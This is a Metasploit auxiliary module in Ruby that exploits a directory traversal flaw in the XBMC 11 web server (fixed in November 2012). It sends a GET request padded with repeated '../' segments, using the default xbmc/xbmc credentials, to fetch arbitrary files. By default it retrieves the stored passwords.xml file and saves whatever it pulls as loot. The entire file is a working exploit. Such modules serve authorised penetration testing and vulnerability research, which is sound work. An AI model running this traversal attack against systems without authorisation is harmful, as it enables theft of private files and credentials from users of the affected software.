##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Auxiliary::Report
	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "XBMC Web Server Directory Traversal",
			'Description'    => %q{
					This module exploits a directory traversal bug in XBMC 11, up until the
				2012-11-04 nightly build. The module can only be used to retrieve files.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
					'Lucas "acidgen" Lundgren IOActive',
					'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
				],
			'References'     =>
				[
					['URL', 'http://forum.xbmc.org/showthread.php?tid=144110&pid=1227348'],
					['URL', 'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
					['URL', 'http://www.ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
				],
			'DisclosureDate' => "Nov 4 2012"
		))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('FILEPATH', [false, 'The name of the file to download', '/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
				OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
				OptString.new('USERNAME', [true, 'The username to use for the HTTP server', 'xbmc']),
				OptString.new('PASSWORD', [false, 'The password to use for the HTTP server', 'xbmc']),
			], self.class)
	end

	def run
		# No point to continue if no filename is specified
		if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
			print_error("Please supply the name of the file you want to download")
			return
		end

		# Create request
		traversal = "../" * datastore['DEPTH'] #The longest of all platforms tested was 9 deep
		begin
			res = send_request_raw({
				'method' => 'GET',
				'uri'    => "/#{traversal}/#{datastore['FILEPATH']}",
				'authorization' => basic_auth(datastore['USERNAME'],datastore['PASSWORD'])
			}, 25)
		rescue Rex::ConnectionRefused
			print_error("#{rhost}:#{rport} Could not connect.")
			return
		end

		# Show data if needed
		if res
			if res.code == 200
				vprint_line(res.to_s)
				fname = File.basename(datastore['FILEPATH'])

				path = store_loot(
					'xbmc.http',
					'application/octet-stream',
					datastore['RHOST'],
					res.body,
					fname
				)
				print_good("File saved in: #{path}")
			elsif res.code == 401
				print_error("#{rhost}:#{rport} Authentication failed")
			elsif res.code == 404
				print_error("#{rhost}:#{rport} File not found")
			end
		else
			print_error("HTTP Response failed")
		end
	end
end
